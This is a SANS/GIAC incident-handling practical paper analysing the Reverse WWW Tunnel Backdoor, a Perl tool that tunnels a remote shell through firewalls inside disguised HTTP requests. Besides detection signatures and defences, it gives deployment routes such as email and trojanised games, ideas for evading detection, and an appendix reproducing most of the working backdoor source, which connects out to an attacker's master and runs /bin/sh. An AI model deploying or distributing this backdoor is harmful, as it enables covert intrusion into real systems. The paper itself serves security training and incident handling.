

Global Information Assurance Certification Paper

Copyright SANS Institute Author Retains Full Rights

This paper is taken from the GIAC directory of certified professionals. Reposting is not permited without express written permission.

Interested in learning more?

Check out the list of upcoming events offering "Hacker Tools, Techniques, and Incident Handling (Security 504)" at http://www.giac.org/registration/gcih

SANS/GIAC Practical Assignment for Advanced Incident Handling and Hacker Exploits

Assignment Version 1.5c

Submitted by Chris Young

Reverse WWW Tunnel Backdoor

Exploit details:

Name	Reverse WWW Tunnel Backdoor
Filename	rwwwshell-1_6_perl.txt or rw3.pl
Version	1.6
Author	van Hauser
E-mail	vh@reptile.rug.ac.be
Operating system	The product is OS independent as it uses Perl interpreters, however its main focus is Linux, Free BSD and Solaris.
Brief Description	A proof of concept tool that allows an attacker to access commands (typically shell) on a remote server via HTTP, through firewalls.

Table of Contents

Introduction	3
Protocol: HTTP	3
Description of Variants	3
How the exploit works	4
How to use the exploit	6
Signature of the attack	
How to protect against it	
Possible enhancements	12
Where to get it	13
Problems running under Windows	14
Conclusion	15
Additional Information	15
Appendix A – Source code including modifications	16
Appendix B – Snort scan	23

Introduction

Reverse WWW tunnel backdoor (RW3) is a tool that facilitates the interaction of two systems through the HTTP protocol. Initially written as a proof of concept script in 1998 by van Hauser the originator of the war dialler THC.

The prime reason for writing the script was to test whether it would be possible to create a tool capable of circumventing firewalls, by camouflaging the communications inside a normal HTTP session.

Written in Perl the original script has gone through a few iterations to reach the current version of 1.6, adding along the way Unix perl portability and Proxy compatibility.

Protocol: HTTP

HTTP or http (āch 'tē -tē -pē)

n.

A protocol used to request and transmit files, especially webpages and webpage components, over the Internet or other computer network. – <u>www.Dictionary.com</u>

The script utilises the GET command from the HTTP command set to pass encoded information in a way that looks like natural web browsing traffic. Typically sitting upon a TCP/IP protocol (port 80), the makeup of HTTP is plain text, and most closely resembles an English high-level programming language.

Description of Variants

There are currently no direct descendants of this program that have been ported to other platforms. This is possibly due to the fact the Perl is represented on many platforms, and as such the script itself does not need to be ported. There is similar 'C' based competitor product from 'nocrew' that is under more active development called 'http tunnel 3.3' which is capable of tunnelling other protocols through its HTTP connection. More information on this can be found at <u>www.nocrew.org/software/httptunnel.html</u>, and a review of its functionality can be found at <u>www.sans.org/y2k/practical/Paul_Lochbihler.zip</u>

How the exploit works



The script modifies its process name to camouflage its presence on the host computer. By default it uses 'vi', however this function does not work under Windows NT/2000 Pro. If it did 'Explorer' or 'Taskmgr' would be simple to insert and would be more appropriate for a Windows platform.

The script uses \$CGI_PREFIX to determine which HTTP command to use to pass information through the firewall. It then appends a Uuencoded message to the end of this command, which is passed to and from STDIN and STDOUT on the Master and Slave systems.

Using the /cgi-bin/ command style prevents the data being cached by proxies, by mimicking the common method for passing parameters to CGI programs. This is to append them to the command line following the '?', character making it look like natural traffic.

Once the master has sent the message to the slave, it executes the required command (\$Shell, line 40) and passes the Uudecoded message to it. The output is then collected and after an agreed delay (\$Delay, line 41) is passed back in the same fashion.

Common items found in the CGI directory are:

Xbase, Mysql, Form, Common, Status, FCGI, Printenv and test-cgi

Subsequently modifying line 27 to masquerade the HTTP GET request with any of these will make the messages seem more natural and assist in confusing the IDS systems further.

Should anyone attempt to access the server without the script and password, they would get the following error message in an attempt to confuse them:



The error is the result of the following code, which modifies the title and the body text to indicate that the requested file no longer exists.

Deployment

As a means to running the script on a remote system, a certain amount of information needs to be attained:

- Knowledge of target operating system
- Is Perl installed?
- Is a proxy needed?
- Does the proxy require a password?

Once this information has been ascertained, it is possible to determine the best form of attack.

Direct access: If the system has been compromised earlier, or the attacker has access for some other reason, then the above information is easily gathered, and the script can simply be run with any preferred settings.

Via E-Mail: Sending the script via E-Mail is possibly the most problematic method, as the above information is not so readily available. However it would be possible to gain a reasonable level of success by targeting UNIX based

systems, as they have a higher likelihood of having Perl installed. Another problem is, many UNIX based web servers will have Perl installed, but few users or administrators use these systems for mail retrieval/viewing.

Windows/Intel based systems could be targeted by wrapping the compiled version of the script inside another program (a game etc.) using a tool like <u>Silk</u>. This would have the benefit of not requiring the host system to have a Perl interpreter installed, but would depend on the compilers ability to overcome the Windows problems described further on in this document (see page 14).

How to use the exploit

The original version (v1.6) only took one proper input, that of '-h' for the help text. Entering any other text after the scripts name would change the default running mode from that of Master to Slave utilising the internal variables defined early in the script for target-address and port etc.

The version that I altered as an aide to understanding the attack method takes the following parameters:

```
perl rw3.pl Target-addr port
```

(some systems do not require the preceding 'perl')

Where *Target-addr* is either the IP address or a FQDN (full qualified domain name) and *port* is the target port over which to communicate. If no entry is made for port the system assumes port 8080.

For the script to work through firewalls in its intended way it should use ports 80, 8080 or 443, although any will work as long as they are not already allocated on the target or hosts systems.

Many other system modifications are available, such as, Process, User and password. If these were to be converted to function from the command line a proper parser of the \$ARGV[n] input should be considered.

Example of a Windows NT Master (attacker) and a Linux system

The following is the output from both the Master and slave for a simple session using rw3.pl:

Master

C:\>perl rw3.pl

Welcome to the Reverse-WWW-Tunnel-Backdoor v1.6 by van Hauser / THC ...

Introduction: Wait for your SLAVE to connect, examine it's output and then type in your commands to execute on SLAVE. You'll have to wait min. the set \$DELAY seconds before you get the output and can execute the next stuff. Use ";" for multiple commands. Trying to execute interactive commands may give you headache so beware. Your SLAVE may hang until the daily connect try (if set - otherwise you lost). You also shouldn't try to view binary data too ;-) "echo bla >> file", "cat >> file <<- EOF", sed etc. are your friends if you don't like using vi in a delayed line mode ;-) To exit this program on any time without doing harm to either MASTER or SLAVE just press Control-C. Now have fun.

Waiting for connect ... connect from unresolved/10.0.0.1:1029 [Warning! No output from remote!] >dir sent.

Waiting for connect ... connect from unresolved/10.0.0.1:1030 *ghost ntfsdos.exe rmtshare.exe rw3.pl* sent.

Waiting for connect ... connect from unresolved/10.0.0.1:1031 cd / ; dir sent.

Waiting for connect ... connect from unresolved/10.0.0.1:1032 bin dev home lost+found opt root tmp usr boot etc lib mnt proc sbin tools var sent.

Waiting for connect ... **^C**

Slave

#perl rw3.pl 10.0.0.2 8080

starting in slave mode to 10.0.0.2 on port 8080

Items in bold are input from the attacker, and italics are responses from the remote system.

As you can see the first example is a simple 'dir' (Linux accepts this, and I like the formatting) whereas the second example has 'cd /; dir' demonstrating the systems ability to take multiple commands on one line separated by a ';' (semicolon).

As you would expect, not much happens on the slave (attacked) system to indicate any activity.

Options for change:

Lines 27 through 49 allow for simple changes to the function of the system, they are:

Line	Variable	Description
27	CGI Prefix	HTTP command use to hide with normal traffic
28	Mask	Name of local command to use in process table
29	Password	Password to prevent other RW3 slaves using your Master!
34	Listen_port	Port over which the traffic will initiate
35	Server	IP address of Master
40	Shell	Command that should run on slave once a connected
41	Delay	Time in seconds to delay output from commands
42	Time	When connections should be initiated, leave blank for now.
43	Daily	Indicates if the connection should be repeated daily.
44	Proxy	IP address of internal proxy server.
45	Proxy_port	Port over which traffic will travel
46	Proxy_user	User ID used to authenticate with the proxy server
47	Proxy_password	Password for above.
48	Debug	Used to enable specific script debugging output.
49	Broken_recv 📈	Fix for AIX and Open BSD recv network problem

There is no easy method for attempting to carry this exploit out by hand, as the server (slave) component needs to be active at the remote site, and by the nature of the tool, it sits and waits for compromised systems to call in.

Signature of the attack

On NT the following are visible when reviewing the Task Manager:

Applications Processes Performance Image Name PID CPU CPU Time Mem Usage ▲ cpqdmi.exe 260 00 0:00:00 200 K MGAQDESK.EXE 271 00 0:00:00 228 K trigserv.exe 286 00 0:00:00 648 K systray.exe 309 00 0:00:00 276 K TASKMGR.EXE 310 00 0:00:00 804 K pwstray.exe 317 00 0:00:00 908 K chkadmin.exe 322 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 2388 K	indows NT T Options View	s <mark>k Manager</mark> <u>H</u> elp		-		•,
Cpqdmi.exe 260 00 0:00:00 200 K MGAQDESK.EXE 271 00 0:00:00 228 K trigserv.exe 286 00 0:00:00 648 K systray.exe 309 00 0:00:00 276 K TASKMGR.EXE 310 00 0:00:03 2356 K pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K	lications Proc	sses Perform	ance			
MGAQDESK.EXE 271 00 0:00:00 228 K trigserv.exe 286 00 0:00:00 648 K systray.exe 309 00 0:00:00 276 K TASKMGR.EXE 310 00 0:00:03 2356 K pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 908 K Shstat.exe 337 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K			CPU	Mem Usage	.	CO
trigserv.exe 286 00 0:00:00 648 K systray.exe 309 00 0:00:00 276 K TASKMGR.EXE 310 00 0:00:03 2356 K pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 448 K shstat.exe 337 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K ▼						5
systray.exe 309 00 0:00:00 276 K TASKMGR.EXE 310 00 0:00:03 2356 K pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 448 K <u>shstat.exe 337 00 0:00:00 908 K</u> CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K						
TÁSKÍMGR.E×E 310 00 0:00:03 2356 K pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 448 K shstat.exe 337 00 0:00:00 908 K CMD.E×E 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K	-					
pwstray.exe 317 00 0:00:00 804 K chkadmin.exe 322 00 0:00:00 448 K shstat.exe 337 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K ▼						
chkadmin.exe 322 00 0:00:00 448 K shstat.exe 337 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K						
shstat.exe 337 00 0:00:00 908 K CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K						
CMD.EXE 344 00 0:00:00 1284 K perl.exe 351 00 0:00:00 2388 K						
perl.exe 351 00 0:00:00 2388 K 🔽						
	N				-	
End Process				End Process		

📕 Windows NT	Task Manager		
<u>File Options Vie</u>	ew <u>W</u> indows <u>H</u> elp		
Applications Pr	ocesses Performance	•]	1
	T\System32\cmd.exe -	perl rw3.pl Ru	tus
	<u>E</u> nd Task	<u>S</u> witch To	<u>N</u> ew Task
Processes: 47	CPU Usage: 4%	Mem Usage: 11	3584K / 1030544 🏼 🏾

This clearly shows that the \$Mask command on line 28 does not effect Windows.

On the Linux system the script shows up in the process table in the following way:

UID	PID	PPID	С	STIME	TTY	TIME	CMD
root	1075	1071	0	11:42	pts/0	00:00:00	bash
root	1108	1105	0	11:47	pts/1	00:00:00	bash
root	1196	1075	1	12:28	pts/0	00:00:00	vi
root root		1075 1196			-	00:00:00 00:00:00	

NB: The above table has been cut down to show only the relevant information

In the above table, the attackers process has been hidden behind 'vi' (in bold)

Output from NETSTAT –NA on a Windows NT system:

Active Connections

Proto	Local Address	Foreign Address	State
TCP	0.0.0.37	0.0.0:0	LISTENING
TCP	0.0.0.80	0.0.0:0	LISTENING
TCP	0.0.0.0:123	0.0.0:0	LISTENING
TCP	0.0.0.0:135	0.0.0:0	LISTENING

The above system is a workstation, and as such would not normally have port 80 in listening mode.

The following is the output from netstat –na on a Linux system when rw3.pl is running in master mode (listening for slaves):

Active	e Intern	net conn	ections (servers and	d established)	
Proto	Recv-Q	Send-Q	Local Address	Foreign Address	State
tcp	0	0	0.0.0.0:8080	0.0.0:*	LISTEN

A scan of the attack in progress is in Appendix B, with the payload areas in bold. The following Perl script can be used to extract the password and message from the scan output of Snort.

NB: file saved as decode.pl for this test.

Its input is via the command line, and an example is:

perl decode.pl M5mAl9VAOjW0rdgYT9GvDfWkN97AEdsqR96vY8VQE9strjFUTjVAAjF4N 97AEz1dsqRaRYPfstrjGjSfRYPftHtz

Which give the following output. The first three characters in this case are the password (this may not be the case for all traces, the length is down to the attacker).

THCghost ntfsdos.exe recycled rmtshare.exe rw.pl

How to protect against it

Utilise password protection on your proxies, and change them regularly.

Using Microsoft Proxy and the authentication methods built into Internet Explorer, although the Winsock proxy client should not be activated, as it supports legacy applications, and would effectively negate the need for the scripts proxy navigation.

Implement good internal security policies and user training.

If your desktop is Windows based, it is possible to restrict the users ability to run unauthorised packages.

Monitor all incoming email and web downloads for the signatures of known attackers tools. This alone would not prevent all of the tools getting in, however it would spike your interest enough to investigate the user in question.

The monitoring of user login times and system access correlation is possible, although the work involved would be quite onerous. This would also suffer from many false positives if users do not logout or simply turn their PC's off at night!

The author suggests using a second network detached from the primary for Internet access, which is impracticable for most organisations, but would obviously work.

Possible enhancements

Independence

Compiling the script with any of the following compilers would remove the products reliance on the target system having Perl installed:

http://language.perl.com/news/compiler-alpha1.html http://filewatcher.org/sec/perl-compiler/int_halfyear.html

IP address cycling

The ability to modify the target IP address on the slave, would further camouflage the packets passing through the firewall and IDS's. Mixing Cdor's ability to sniff packets from the net that are not seemingly intended for it, with IP source routing to an address that passes the Masters interface would allow traversal of a firewall without giving away the real address of the Master.

Passing through frag-router

As an aide to avoiding some IDS's, the packets could be further obscured by forwarding them through FragRouter, which will fragment the packets enough to confuse earlier or less sophisticated IDS's.

HTTPS

Currently the use of HTTP allows administrators to see the actual commands being executed once the attack has been detected, and the logs have been analysed. A transition to HTTPS would prevent such viewing, whilst retaining the nature of the product with respect to traversing firewalls, through masquerading as normal traffic.

Encryption of the payload

Another method to restrict the abilities of administrators to view the contents, would be to pass the desired commands and subsequent output through an encryption package, such as Blowfish, prior to transmission. The resulting encrypted message would then need to be Uuencoded prior to transmission to prevent control characters being transmitted.

Where to get it

As the program is written in Perl, it is possible to simply cut and paste the text from this document into a new document and save it with the usual .pl extension.

NB: The script is in a table, so highlighting the second column and copying it then pasting into notepad etc. will be required.

For the latest version the author suggests <u>r3wt.base.org</u> however this site was unavailable for the duration of the creation of this document, however the author himself is based at <u>www.thehackerschoice.com</u>.

The usual repositories retain copies such as: packetstormsecurity.org/groups/thc/rwwwshell-1.6.perl

A number of Perl script interpreters are available from:

www.perl.com/pub/a/language/info/software.html www.activestate.com/ASPN/Downloads/

although the majority of Linux systems come with it either pre-installed or as some form of package.

Dependencies

The prime dependency is a Perl interpreter, which has the ability to send and receive network packets.

Compatible platforms.

Any platform that supports Perl, however the author has only tested it working on:

- Linux;
- Solaris;
- Open BSD; and
- AIX.

Although Open BSD and AIX are reported to have problems with 'recv' responses, there is a workaround within the script.

Windows NT and 2000 professional do work as Masters, however the fork() command causes problems when in slave mode. This is discussed later on in the document.

These problems might at some stage be resolved by newer versions of their respective Perl interpreters.

Problems running under Windows

The 'Master' part of the script has no problems working on either Windows NT or Windows 2000 professional, however the 'Slave' portion reports the following errors:

perl rw3.pl 10.0.0.1 starting in slave mode to 10.0.0.1 on port 8080 Slave activated Bizarre SvTYPE [193] at rw3.pl line 137.

Which relates to the following line of code:

\$pid = fork;

Investigating the implementation of the ActivePerl (5.6.0 build 623) version of Perl, it becomes clear that the fork command is merely emulated under Windows, as it does not directly support use of the fork() command

The following is a quote from the ActivePerl manual:

"On some platforms such as Windows where the fork() system call is not available, Perl can be built to emulate fork() at the interpreter level. While the emulation is designed to be as compatible as possible with the real fork() at the level of the Perl program, there are certain important differences that stem from the fact that all the pseudo child ``processes" created this way live in the same real process as far as the operating system is concerned."

The script manifests none of these problems under Linux (Red Hat 7) however it does recognise that problems exist with interpretations of Perl, as lines 49,206 and 268 turn on a kludge to get round a problem the author encountered with Open BSD and Solaris.

As the problem exists in the code that attempts to fork a new process, a possible solution would be to accept that the commands run by the attacker might hang the running process and as such remove the attempt to fork. The script would work, however any errors or crashes would stop the remote access. This could be worked round by using the 'at' command to run the script at a specific time instead of relying on the forking process. A side effect of this would be that the command would show up in the 'at' table.

The best solution is to get a version of Perl that works properly with fork() commands or find another method for running the scripts

Conclusion

Overall, a well thought out and executed script that clearly achieves its goal as a proof of concept. The script is reasonably well documented, which lends itself to simple tweaks and enhancements by individuals at all programming levels. Although it appears development on the product has ceased, the methods it deploys work today and with a few of the suggested improvements could make this a formidably stealthy tool.

The current dependency on Perl interpreters limits the scripts ability to propagate as widely as might be desired, however using the Perl compiler or re-scripting it into C would be a relatively simple task.

With Microsoft seemingly encouraging the use of common port tunnelling by providing developers with code capable of traversing firewalls for control (RPC) calls, it can only be short time before encryption is added to these products and the battle sways in favour of the attacker.

Additional Information

ActiveState ActivePerl HTML manual – Software install required An interesting article on how to find backdoors in Firewalls can be found at: <u>http://www.itsecurity.com/papers/p37.htm#example</u>

NoCrew's HPPT Tunnel software can be found at: http://www.nocrew.org/software/httptunnel.html

A useful repository of attacker software and information can be found at: <u>www.packetstormsecurity.org</u>

A useful source of security information can be found at: <u>www.securityfocus.com</u>

The inspiration for this document came from a training seminar given at the SANS Baltimore conference by Eric Cole and Edward Skoudis in 2001. Kind permission to extend the information found in the training course was given by Eric Cole.

Appendix A – Source code including modifications

```
1
    #!/usr/bin/perl
2
3
    # Reverse-WWW-Tunnel-Backdoor v1.6
    # (c) 1998 by van Hauser / [THC] - The Hacker's Choice
4
    <vh@reptile.rug.ac.be>
5
    # Check out http://r3wt.base.org for updates
    # Proof-of-Concept Program for the paper "Placing Backdoors through
6
    Firewalls"
7
    # available at the website above in the "Articles" section.
8
    #
9
10
    # Greets to all THC, ADM, arF and #bluebox guys
11
    # verified to work on Linux, Solaris, AIX and OpenBSD
12
13
14
    # BUGS: some Solaris machines: select(3) is broken, won't work there
15
    # on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
16
          we can't make proper receive checks here. Workaround implemented.
   #
17
    # HISTORY:
18
19
    # v1.6: included www-proxy authentication ;-))
20
    # v1.4: porting to various unix types (and I thought perl'd be portable...)
21
    # v1.3: initial public release of the paper including this tool
22
23
24
   # GENERAL CONFIG (except for $MASK, everything must be the same
25
                   for MASTER and SLAVE is this section!)
   #
26
    $CGI PREFIX="/cqi-bin/order?";  # should look like cqi. "?" as last
27
    char!
                             # for masking the program's process name
28
    $MASK="vi";
29
   $PASSWORD="THC";
                             # anything, nothing you have to remember
30
                             # (not a real "password" anyway)
31
32
    # MASTER CONFIG (specific for the MASTER)
33
34
    $LISTEN PORT=8080; # on which port to listen (80 [needs root] or 8080)
    #$SERVER="127.0.0.1"; # the host to run on (ip/dns) (the SLAVE needs
35
    this!)
36
37
38
    # SLAVE CONFIG (specific for the SLAVE)
39
40
    $SHELL="/bin/sh"; # program to execute (e.g. /bin/sh)
41
    $DELAY="3"; # time to wait for output after your command(s)
   42
                           # tries to connect once daily if set with something
43
    #$PROXY="127.0.0.1"; # set this with the Proxy if you must use one
#$PROXY_PORT="8080"; # set this with the Proxy Port if you must use one
#$PROXY_USER="user"; # username for proxy authentication
44
45
46
47
    #$PROXY PASSWORD="pass";  # password for proxy authentication
48
    #$DEBUG="yes"; # for debugging purpose, turn off when in
```

```
production
                           # For AIX & OpenBSD, NOT for Linux & Solaris
49
    #$BROKEN RECV="yes";
50
51
    # END OF CONFIG
                           # nothing for you to do after this point #
52
53
    54
55
   require 5.002;
56
    use Socket;
57
58
    $|=1;
                           # next line changes our process name
    if ($MASK) { for ($a=1;$a<80;$a++) {$MASK=$MASK."\000"; } $0=$MASK; }
59
60
    undef $DAILY if (! $TIME);
61
    if ( !($PROXY) || !($PROXY PORT) ) {
62
         undef $PROXY;
63
          undef $PROXY PORT;
64
    }
65
    $protocol = getprotobyname('tcp');
66
    if ($ARGV[1] ne "") {$LISTEN PORT = $ARGV[1]}
                                                   # modify port if given
    if ($ARGV[0] ne "") {
67
68
          if ($ARGV[0] eq "-h") {
69
                print STDOUT "no commandline option : daemon mode\n";
70
                print STDOUT "using \"-h\" as option : this help\n";
71
                print STDOUT "usage target-addr port : slave mode\n";
72
                exit(0);
73
          } else {
74
                SERVER = SARGV[0];
75
                print STDOUT "starting in slave mode to $SERVER on port
    $LISTEN PORT\n";
76
                $SLAVE MODE = "yeah";
77
          }
78
    }
79
80
    if (! $SLAVE MODE)
81
          &master;
82
    } else {
83
          &slave;
84
    }
85
    # END OF MAIN FUNCTION
86
    87
88
89
    sub slave {
90
          pid = 0;
91
          if ($PROXY) {
                                 # setting the real config (for Proxy Support)
92
                $REAL SERVER = $PROXY;
93
                $REAL PORT = $PROXY PORT;
                $REAL PREFIX = "GET http://" . $SERVER . ":" . $LISTEN PORT
94
                     . $CGI PREFIX;
95
                $PROXY SUFFIX = "Pragma: no-cache\n";
96
                if ( $PROXY USER && USER PASSWORD ) {
97
                      &base64encoding;
98
99
                      $PROXY SUFFIX = $PROXY SUFFIX . $PROXY COOKIE;
100
                }
101
          } else {
102
                $REAL SERVER = $SERVER;
103
                $REAL PORT = $LISTEN PORT;
```

104 \$REAL PREFIX = "GET " . \$CGI PREFIX; 105 } 106 AGAIN: if (\$pid) { kill 9, \$pid; } 107 if (\$TIME) { # wait until the specified \$TIME \$TIME =~ s/^0//; \$TIME =~ s/:0/:/; 108 109 (undef, \$min, \$hour, undef, undef, undef, undef, undef) 110 = localtime(time); \$t=\$hour . ":" . \$min; 111 112 while (\$TIME ne \$t) { 113 sleep(28); # every 28 seconds we look at the watch 114 (undef, \$min, \$hour, undef, undef, undef, undef, undef) 115 = localtime(time); 116 \$t=\$hour . ":" .\$min; 117 } 118 } 119 print STDERR "Slave activated\n" if \$DEBUG; 120 # if we must connect daily, we'll 121 122 sleep(69); # ensure the master control process 123 goto AGAIN; # won't get stuck by a fucking cmd 124 # the user executed. } print STDERR "forked\n" if \$DEBUG; 125 126 127 \$address = inet aton(\$REAL SERVER) || die "can't resolve server\n"; 128 \$remote = sockaddr in(\$REAL PORT, \$address); 129 forked = 0;130 GO: close(THC); socket (THC, &PF INET, &SOCK STREAM, \$protocol) 131 132 or die "can't create socket\n"; setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1); 133 if (! \$forked) { 🔬 # fork failed? fuck, let's try again 134 select W IN; \$|=1; 135 pipe R IN, W IN; 136 pipe R OUT, W OUT; select W OUT; \$|=1; 137 \$pid = fork; 138 if (! defined \$pid) { 139 close THC; 140 close R IN; close W IN; 141 close R OUT; close W OUT; 142 goto GO; } 143 \bigcirc \$forked = 1; 144 145 } if (! \$pid) { 146 # this is the child process (execs \$SHELL) close W_IN; close THC; 147 close R OUT; 148 print STDERR "forking \$SHELL in child\n" if \$DEBUG; 149 open STDIN, "<&R IN"; 150 open STDOUT, ">&W OUT"; open STDERR, ">&W OUT"; 151 exec \$SHELL || print W OUT "couldn't spawn \$SHELL\n"; 152 153 close R IN; close W OUT; 154 exit(0); 155 } else { # this is the parent (data control + network) 156 close R IN; 157 sleep(\$DELAY); # we wait \$DELAY for the commands to complete 158 vec(\$rs, fileno(R OUT), 1) = 1;159 print STDERR "before: allwritten2stdin\n" if \$DEBUG; 160 select(\$r = \$rs, undef, undef, 30);

161	print STDERR "after : wait for allwritten2stdin\n" if \$DEBUG;
162	<pre>sleep(1); # The following readin of the command output</pre>
163	<pre>\$output = ""; # looks weird. It must be! every system</pre>
164	<pre>vec(\$ws, fileno(W OUT), 1) = 1; # behaves different :-((</pre>
165	print STDERR "before: readwhiledatafromstdout\n" if \$DEBUG;
166	while (select(\$w = \$ws, undef, undef, 1)) {
	read R OUT, \$readout, 1 last;
167	
168	<pre>\$output = \$output . \$readout;</pre>
169	}
170	print STDERR "after : readwhiledatafromstdout\n"
171	print STDERR "before: fucksunprob\n"
172	vec(\$ws, fileno(W OUT), 1) = 1;
173	<pre>while (! select(undef, \$w=\$ws, undef, 0.001)) {</pre>
174	read R OUT, \$readout, 1 last;
175	\$output = \$output . \$readout;
176	}
177	print STDERR "after : fucksunprob\n" if \$DEBUG;
178	print STDERR "send Obyte to stdout, fail->exit\n"
179	print W OUT "\000" goto ENDE;
180	print STDERR "before: readallstdoutdatawhile!eod\n" if \$DEBUG;
181	while (1) {
182	read R OUT, \$readout, 1 last;
183	last if (\$readout eq "\000");
184	<pre>\$output = \$output. \$readout;</pre>
185	}
186	print STDERR "after : readallstdoutdatawhile!eod\n" if \$DEBUG;
187	&uuencode; # does the encoding of the shell output
188	<pre>\$encoded = \$REAL PREFIX . \$encoded;</pre>
189	<pre>\$encoded = \$encoded . \$PROXY SUFFIX if (\$PROXY);</pre>
190	<pre>\$encoded = \$encoded . "\n";</pre>
191	print STDERR "connecting to remote, fail->exit\n" if \$DEBUG;
192	connect(THC, \$remote) goto ENDE; # connect to master
193	print STDERR "send encoded data, fail->exit\n" if \$DEBUG;
194	send (THC, \$encoded, 0) goto ENDE; # and send data
195	\$input = "";
196	<pre>vec(\$rt, fileno(THC), 1) = 1; # wait until master sends reply</pre>
197	print STDERR "before: wait4answerfromremote\n" if \$DEBUG;
198	while (! select(\$r = \$rt, undef, undef, 0.00001)) {}
199	print STDERR "after : wait4answerfromremote\n" if \$DEBUG;
200	print STDERR "read data from socket until eod\n" if \$DEBUG;
200	\$error="no";
201	
	while (1) {
203	print STDERR "?" if \$DEBUG;
204	<pre># OpenBSD 2.2 can't recv here! can't get any data! sucks</pre>
205	recv (THC, \$readin, 1, 0) undef \$error;
206	<pre>if ((! \$error) and (! \$BROKEN_RECV)) { goto OK; }</pre>
207	print STDERR "!" if \$DEBUG;
208	goto OK if ((\$readin eq "\000") or (\$readin eq "\n")
209	or (\$readin eq ""));
210	<pre>\$input = \$input . \$readin;</pre>
210	<pre>++npuc ++npuc · ++cuutin, }</pre>
	OK: print STDERR "\nall data read, entering OK\n" if \$DEBUG;
	1
213	<pre>\$input =~ s/\n//gs;</pre>
214	&uudecode # decoding the data from the master
215	print STDERR "if password not found -> exit\n" if \$DEBUG;
216	goto ENDE if (\$decoded =~ m/^\$PASSWORD/s == 0);
217	<pre>\$decoded =~ s/^\$PASSWORD//;</pre>

218 print STDERR "writing input data to \$SHELL\n" if \$DEBUG; print W IN "\$decoded" || goto ENDE; # sending the data 219 220 sleep(1); # to the shell proc. print STDERR "jumping to GO\n" 221 if \$DEBUG; 222 qoto GO; 223 } 224 ENDE: kill 9, \$pid; pid = 0;225 exit(0); 226 } # END OF SLAVE FUNCTION 227 229 230 sub master { 231 socket (THC, &PF INET, &SOCK STREAM, \$protocol) 232 or die "can't create socket\n"; 233 setsockopt (THC, SOL SOCKET, SO REUSEADDR, 1); 234 bind(THC, sockaddr in(\$LISTEN PORT, INADDR ANY)) || die "can't bind\n"; 235 listen(THC, 3) || die "can't listen\n"; # print the HELP 236 print STDOUT ' 237 Welcome to the Reverse-WWW-Tunnel-Backdoor v1.6 by van Hauser / THC ... 238 239 Introduction: Wait for your SLAVE to connect, examine it\'s output and then 240 type in your commands to execute on SLAVE. You\'ll have to wait min. the set \$DELAY seconds before you get the output 241 and can execute the next stuff. Use ";" for multiple commands. 242 243 Trying to execute interactive commands may give you headache 244 so beware. Your SLAVE may hang until the daily connect try 245 (if set - otherwise you lost). 246 You also shouldn\'t try to view binary data too ;-) "echo bla >> file", "cat >> file <<- EOF", sed etc. are your 247 248 friends if you don \'t like using vi in a delayed line mode ;-) 249 To exit this program on any time without doing harm to either 250 MASTER or SLAVE just press Control-C. 251 Now have fun. 252 '; 253 254 YOP: print STDOUT "\nWaiting for connect ..."; 255 \$remote=accept (S, THC) || goto YOP; # get the connection 256 (\$r port, \$r slave)=sockaddr in(\$remote); # and print the SLAVE 257 \$slave=gethostbyaddr(\$r slave, AF INET); # data. 258 \$slave="unresolved" if (\$slave eq ""); print STDOUT " connect from 259 \$slave/".inet ntoa(\$r slave).":\$r port\n"; select \overline{S} ; $\$|=\overline{1}$; 260 261 select STDOUT; \$|=1; 262 \$input = ""; 263 vec(\$socks, fileno(S), 1) = 1; \$error="no"; 264 265 while (1) { # read the data sent by the slave 266 while (! select(\$r = \$socks, undef, undef, 0.00001)) {} 267 recv (S, \$readin, 80, 0) || undef \$error; 268 if ((! \$error) and (! \$BROKEN RECV)) { 269 print STDOUT "[disconnected]\n"; 270 } 271 r = s/r/q;

272 \$input = \$input . \$readin; 273 last if ($\sinh u = m/\ln/n/s$); 274 } 275 &hide as broken webserver if (\$input =~ m/\$CGI PREFIX/s == 0); 276 \$input =~ s/^.*(\$CGI PREFIX)\??//s; 277 input = < s/n.*\$//s;278 &uudecode; # decoding the data from the slave 279 &hide as broken webserver if (\$decoded =~ m/^\$PASSWORD/s == 0); 280 \$decoded =~ s/^\$PASSWORD//s; \$decoded = "[Warning! No output from remote!]\n>" if (\$decoded eq 281 ""); 282 print STDOUT "\$decoded"; # showing the slave output to the user 283 \$output = <STDIN>; # and get his input. 284 &uuencode; # encode the data for the slave send (S, \$encoded, 0) || die "\nconnection lost!\n"; # and send it 285 286 close (S); 287 print STDOUT "sent.\n"; 288 goto YOP; # wait for the next connect from the slave 289 } # END OF MASTER FUNCTION 290 292 via WWW 294 \$output = \$PASSWORD . \$output; # PW is for error checking and 295 \$uuencoded = pack "u", "\$output"; # preventing sysadmins from $suuencoded = tr/'(n) = (:; \& ><, #$*%]!(@"`\\\-' # sending you weird)$ 296 /'zcadefghjklmnopqrstuv' 297 # data. No real 298 1: # security! 299 300 if ((\$PROXY) && (\$SLAVE MODE)) {# proxy drops request if > 4kb 301 \$codelength = (length \$uuencoded) + (length \$REAL PREFIX) +12; 302 \$cut length = 4099 - (length \$REAL PREFIX); 303 \$uuencoded = pack "a\$cut length", \$uuencoded 304 if $(\$codelength > \overline{4}111);$ 305 } 306 \$encoded = \$uuencoded; 307 \$encoded = \$encoded . " HTTP/1.0\n" if (\$SLAVE MODE); 308 } # END OF UUENCODE FUNCTION 309 $\ensuremath{\texttt{\#}}$ does the decoding of the data stream 310 sub uudecode { tr/'zcadefghjklmnopqrstuv' 311 \$input =~ /'\n)=(:;&><,#\$*%]!\@"`\\\-' 